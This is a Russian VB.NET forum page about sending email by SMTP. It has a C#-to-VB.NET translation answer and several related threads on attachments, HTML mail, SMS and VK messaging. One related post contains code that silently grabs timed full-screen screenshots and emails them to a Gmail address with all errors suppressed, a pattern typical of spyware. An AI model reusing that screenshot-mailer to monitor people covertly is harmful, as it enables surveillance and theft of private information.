Отправка почты - перевод кода с C# - Visual Basic .NET

  1. Помогите с конвертировать код:C#1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 SmtpClient client = new SmtpClient("smtp.mail.ru", 2525);             client.Credentials = new System.Net.NetworkCredential("test@mail.ru", "pass234"); // авторизация на мое мыло               string msgFrom = "ya@mail.ru";    ' письмо кому отправить            string msgTo = "ya@mail.ru";              string msgSubject = "Обратная связь";    ' тема письма               string msgBody = String.Format(" *Текст письма* \n\n {0}\1 n:текст из текстобкс {1}\n:текст из текстбокс {2}",             ToString(), textBox1.Text, textBox2.Text);                 MailMessage msg = new MailMessage(msgFrom, msgTo, msgSubject, msgBody);               try             {                 client.Send(msg);  ' отправить письмо            }            catchи это в vb.С меня лучший ответ и +


textual

Код:

Imports System.Net
Imports System.Net.Mail
 
' ...
 
Dim client = New SmtpClient("smtp.mail.ru", 2525)
client.Credentials = New NetworkCredential("test@mail.ru", "pass234") ' авторизация на мое мыло
Dim msgFrom = "ya@mail.ru"  ' письмо кому отправить
Dim msgTo = "ya@mail.ru"
Dim msgSubject = "Обратная связь"  ' тема письма
' TODO: определитесь, откуда ToString(). Откуда берёте текст письма
Dim msgBody = String.Format(" *Текст письма* \n\n {0}\1 " + _
    "n:текст из текстобкс {1}\n:текст из текстбокс {2}", _
    ToString(), _
    textBox1.Text, _
    textBox2.Text)
Dim msg = New MailMessage(msgFrom, msgTo, msgSubject, msgBody)
Try
    client.Send(msg)  ' отправить письмо
Catch ex As SmtpException
    ' TODO: определитесь, что в обработчике
End Try


Похожие ответы
  1. vb.net1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 Imports System.Net.Mail     Public Class Vault       Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load         Timer1.Start()     End Sub   #Region "screenshot"       Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick         Try             Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)             Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)             Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)             g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)             screenGrab.Save("C:\xxx.jpeg")                   Dim SmtpServer As New SmtpClient             SmtpServer.EnableSsl = True             Dim mail As New MailMessage             SmtpServer.Credentials = New Net.NetworkCredential("xxxxxxx@gmail.com", "xxxxxxx")             SmtpServer.Port = 587             SmtpServer.Host = "smtp.gmail.com"             mail = New MailMessage             mail.From = New MailAddress("xxxxxxx@gmail.com")             mail.To.Add("xxxxxxx@gmail.com")             mail.Subject = ("SCREEN, " + System.DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"))             mail.Body = "Pics"             Dim attachment As System.Net.Mail.Attachment             attachment = New System.Net.Mail.Attachment("C:\xxx.jpeg")             mail.Attachments.Add(attachment)             SmtpServer.Send(mail)           Catch ex As Exception         End Try       End Sub #End Region   End Class Отправка скриншота работает некорректно, по таймеру отправляет 1 -2 раза и на этом прерывается. Что не так в коде?

  1. Всем здравствуйте. Исследуя раздел форума "Готовые решения, полезные коды" наткнулся на задачу, которую давно хотел осуществить. Отправлять почту по нажатию кнопки в приложении. Пост: Visual Basic .NET FAQ. Готовые решения, полезные коды Приложение сообщает, что сообщение не отправлено (вложения не прикреплял). Вот мой код кнопки:vb.net1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #Region "Отправка сообщения"     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click         Dim EMail As New MailMessage         Dim Smtp As SmtpClient         Dim Drop() As String = Split(Files, "[SP]")         Smtp = New SmtpClient("smtp.yandex.ru")         Smtp.Port = 465 '587 попробовал менять, перед выдачей сообщения о неудаче увеличивается задержка, и только         Smtp.Credentials = New Net.NetworkCredential("dikrk3@yandex.ru", "пароль ввожу правильно") 'Данные Вашей почты (отправителя)         EMail.From = New MailAddress("dikrk3@yandex.ru", Subject.Text) ' Subject.Text здесь для красоты, по желанию можно убрать         EMail.To.Add(New MailAddress("jkrnd@yandex.ru")) 'кому         EMail.Body = Message.Text 'Основной текст         EMail.Subject = Subject.Text 'Тема письма         If Num > 0 Then             For N = 0 To Num - 1                 EMail.Attachments.Add(New System.Net.Mail.Attachment(Drop(N)))             Next         End If         Try             Smtp.Send(EMail)             MsgBox("Ваше сообщение отправлено. Спасибо!", MsgBoxStyle.Information)         Catch ex As Exception             MsgBox("Ваше сообщение не было отправлено. Пожалуйста, повторите попытку", MsgBoxStyle.Critical)         End Try         Me.Close()     End Sub #End RegionВ принципе, мне нужно отправлять только один вложенный xls-файл (передача сведений диспетчеру). Сечас пользуемся сервисом Yandex. The Bat! и ThunderBird не работают - в корпорации свои правила. Идеальным был бы именно вариант "по кнопке" предложенный AeroWhite

  1. Привет всем! У меня встала задача написать программу для мониторинга файлов и отправки найденных файлов на электронную почту. Суть в чем. Каждый день в определенной папке(скажем D:\test_folder)создается папка с текущей датой (формата yymmdd). С этим я справился. вот код:vb.net1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Public watchfolder As FileSystemWatcher     Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click         watchfolder = New System.IO.FileSystemWatcher()         watchfolder.Path = "d:\test_folder"         watchfolder.NotifyFilter = IO.NotifyFilters.DirectoryName         watchfolder.NotifyFilter = watchfolder.NotifyFilter Or IO.NotifyFilters.FileName         watchfolder.NotifyFilter = watchfolder.NotifyFilter Or IO.NotifyFilters.Attributes         AddHandler watchfolder.Changed, AddressOf logchange         AddHandler watchfolder.Created, AddressOf logchange         AddHandler watchfolder.Deleted, AddressOf logchange         AddHandler watchfolder.Renamed, AddressOf logrename         watchfolder.EnableRaisingEvents = True     End Sub       Private Sub logchange(ByVal source As Object, ByVal e As System.IO.FileSystemEventArgs)             If e.ChangeType = IO.WatcherChangeTypes.Created Then             Dim fileCreatedDate As DateTime = File.GetCreationTime(e.FullPath)             ' Console.WriteLine("file created: " + fileCreatedDate)             MsgBox("Папка " & e.FullPath & " была создана" & vbCrLf & " Дата и время создания папки: " & fileCreatedDate)         End If         If e.ChangeType = IO.WatcherChangeTypes.Deleted Then             Dim fileCreatedDate As DateTime = File.GetCreationTime(e.FullPath)             MsgBox("Папка " & e.FullPath & " была удалена" & vbCrLf & " Дата и время удаления папки: " & fileCreatedDate)         End If     End Sub     Public Sub logrename(ByVal source As Object, ByVal e As System.IO.RenamedEventArgs)         MsgBox("Папка" & e.OldName & " была переименована. Новое имя папки " & e.Name & vbCrLf)     End Subв этой папке с текущем днем создается еще одна папка(имя папки - post), в которую и сыпятся со стороннего приложения файлы, которые и необходимо отправлять на почту. как отправлять на почту тоже разобрался:vb.net1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Imports System.Net.Mail Imports System.Text Public Class Form3       Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click         Dim email As New MailMessage         Dim smtp As SmtpClient         smtp = New SmtpClient("smtp.mail.ru") ' Пример smtp.mail.ru         smtp.Credentials = New Net.NetworkCredential("IvanovES@mail.ru", "password1")         email.From = New MailAddress("IvanovES@mail.ru")         email.To.Add(New MailAddress("PetrovKN@mail.ru"))         email.Body = "test_вложения"         email.Subject = "test_вложения"         email.Attachments.Add(New System.Net.Mail.Attachment("d:\rasp_p04ta\expl_05cubizi.arj"))         smtp.Send(email)     End Sub End ClassНо отправлять нужно не все файлы которые появляются в данной папке post, а все кроме определенных, то есть надо создать как я понимаю какой-то шаблон файлов, которых не нужно отправлять.(например, это файлы содержащие в своих именах: klas, lic,ort) - эти файлы отправлять не нужно, а остальное все отправляется на почту. помогите мне пожалуйста допилить код под мою поставленную задачу. надеюсь, что объяснил понятно. заранее очень благодарен и большое спасибо за вашу помощь!!!

  1. Приветствую, коллеги! Стыдно создавать такие темы для старика, знаю Но в гугле все ссылки сиреневые, а воз и ныне там. Проблема вот в чем: с недавнего времени вдруг перестала работать отправка почты программным способом. Этот способ Visual Basic .NET FAQ. Готовые решения, полезные коды (второй спойлер) перестал работать на Windows XP Этот способ Visual Basic .NET FAQ. Готовые решения, полезные коды перестал работать везде. Отправка с ящика Яндекса (пробовал и mail) Порты все менял, ставил и 465, и 25, и какие находил в инете. SSL и включал и выключал. Не работает ни в какую - в первом коде пишет, мол, ошибка транспорта, во втором тупо истекает таймаут. Нашел библиотеку EASendMail.dll, прикрутил - работает, но потом дошло, что она имеет 30-дневный испытательный период, поэтому не подходит. Смех в том, что вышеуказанные коды у кого-то работают, у кого-то нет. Я подозреваю, что это интернет-провайдеры что-то крутят. У нас тут Ростелеком. Если кто-то сталкивался с подобным - отпишитесь, как решали проблему. Еще, может быть, кто знает бесплатные библиотеки для отправки почты. Нужна только отправка (с вложениями). Работа на XP обязательна.

  1. Доброго всем дня. Возник вопрос: как отправить письмо HTML содержания с изображениями, не отображая эти изображения как вложения). Встретил вот такое решение, на C#, но не разобрался еще в самом решении этой задачи. ИНФО Отправка писем в формате HTML с рисунками Суть проблемы: Собственно хочется видеть письмо такого же вида как то что отправляет аутлук. Всё красиво. Но в описании класса MailMessage совершенно нет документации как такое письмо сделать. Если например написать вместо ссылки на картинку имя картинки находящейся во вложении, то она разумеется отобразится, но и будет отображаться в виде аттачмента (чего собственно не хочется). При попытке отправить письмо в формате HTML средствами .Net, без специальных действий, письмо отображается некорректно в почтовых системах и почтовых программах(не во всех), что неприятно. Собственно неприятность в том что картинки видны в виде вложений и иногда искажают вид письма. Решение Покопавшись в интернете выяснил что такую штуку можно провернуть с помощью альтернативного представления письма. Оказывается при отправке письма оно может содержать несколько представлений для отображения в различном формате. Но что делать с этими представлениями было не очень ясно, прочтение документации привело меня к следующему: Чтобы создать письмо с картинками которые не отображаются без вложений нужно создать альтернативное представление и загрузить туда картинки в виде ресурсов в данном примере я приведу только код для создания альтернативного представления и добавления его к письмуC#1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 var mailMessage = new System.Net.Mail.MailMessage();   var mailHTML =  // определение тела письма со ссылками на изображения var images = new List(); // список для временного хранения созданных ресурсов картинок   // тело письма нужно просмотреть и для каждого тега img создать объект System.Net.Mail.LinkedResource // и поместить его в список Images. В исходном документе нужно заменить ссылку на изображение (значение свойства src) // на выражение "cid:{ИД ресурса}", где {ИД ресурса} - значение свойства ContentId созданного объекта LinkedResource   // ...   // Следующая строка создаёт альтернативное представление на основе текста письма с изменёнными ссылками var htmlView = AlternateView.CreateAlternateViewFromString(mailHtml, Encoding.UTF8, MediaTypeNames.Text.Html); // Добавляем к представлению созданные нами файлы ресурсов картинок images.ForEach(htmlView.LinkedResources.Add);   // И последнее добавляем созданное альтернативное представление к письму mailMessage.AlternateViews.Add(htmlView);    // Дальше остаётся заполнить стандартные свойства письма и отправить Может кто-то решал подобную задачу и поделится? С уважением и всех благ

  1. Добрый день, Товарищи! Подскажите пожалуйста, где копать? Задача - передача значений из form в браузер(в строки сайта) Хотелось бы узнать запрос поиска на профф. языке... что искать то?? И второй вопрос. Как это называется и как лучше? Когда я узнаю код нужной мне ячейки на сайте? и ее поиск?(если я не ошибаюсь - парсинг?) как реализовать в vb.net? буду благодарен любой косточке.... на форуме как то скудно про это или я ищу не правильными запросами)

  1. С помощью Mail.Ru Агента отправлять SMS можно совершенно бесплатно! Для отправки SMS откройте окно диалога с собеседником и перейдите на вкладку SMS. Если у контакта не задано ни одного номера телефона, вам будет предложено «Задать номер телефона» . Номера телефонов для контактов задаются в анкете. Я хочу всё это автоматизировать но я не смог захватить post запрос,Post запросов нет вообще.как мне всё это автоматизировать помогите пожалуйста!

  1. Где ошибка в этом коде ? Совсем не работает?????vb.net1 2 3 4 5 6 7 8 9 10 11 12 13    Public Function SendSMS() As Boolean         If SMSPort.IsOpen = True Then             'sending AT commands             SMSPort.WriteLine("AT")             SMSPort.WriteLine("AT+CMGF=1" & vbCrLf) 'set command message format to text mode(1)             SMSPort.WriteLine("AT+CSCA=""+919822078000""" & vbCrLf) 'set service center address (which varies for service providers (idea, airtel))             SMSPort.WriteLine("AT+CMGS=  + TextBox1.text + " & vbCrLf) ' enter the mobile number whom you want to send the SMS             _ContSMS = False             SMSPort.WriteLine("+ TextBox1.text +" & vbCrLf & Chr(26)) 'SMS sending             MessageBox.Show(":send")             SMSPort.Close()         End If     End Function

  1. Доброго времени суток! Люди подскажите как программно отправить сообщение Вконтакте ... С начало я залогинелся... после чего получил Hash с http://vk.com/feed затем поймал пакет с сообщением "al_mail.php" затем вставляем нужное сообщение и Hash act=a_send&al=1&chas=7a523e4027dq47ee0b&from=box&media=&message=qwerty&title=&to_ids=10112 После отправки , сообщение не доходит .. Приходит ответ примерно такой :

  1. Буду краток... Мне нужно как-то сделать отправку письма на почту яндекса, или майл.ру, но лучше яндекса, вроде искал, но не где толкового нечего не нашёл, мне надо чтобы пользователь мог через мою программу мог отправить мне письмо... помогите пожалуйста, буду признателен, спасибо за вниманиеДобавлено через 4 минуты Простите, я случайно сдублировал вопрос, если вы от меня найдёте подобную тему, то я нечайно создал две, просто нажав на мои темы там их не было, я подумал что я забыл нажать кнопку "Отправить", и создал ещё одну тему, я извиняюсь за это!